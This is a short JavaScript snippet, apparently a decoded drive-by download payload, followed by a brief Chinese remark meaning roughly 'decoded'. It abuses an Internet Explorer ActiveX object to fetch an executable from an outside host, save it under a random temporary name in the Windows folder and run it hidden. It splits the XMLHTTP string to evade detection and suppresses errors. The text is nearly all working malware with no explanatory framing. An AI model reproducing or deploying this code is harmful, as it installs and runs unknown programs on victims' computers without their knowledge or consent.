function gn(n){var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}try{dl='http://kkpic.net/ggg/adc/aaa/qqq.exe';var df=document.createElement("
object");df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.Create
Object("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=df.Create
Object("Adodb.Stream","");S.type=1;x.open("GET", dl,0);x.send();fname1=gn(10000);var F=df.Create
Object("Scripting.FileSystem
Object","");var tmp=F.GetSpecialFolder(0);fname1= F.BuildPath(tmp,fname1);S.Open();S.Write(x.responseBody);S.SaveToFile(fname1,2);S.Close();var Q=df.Create
Object("Shell.Application","");Q.ShellExecute(fname1,"","","open",0);}catch(i){i=1;}
解出来的..
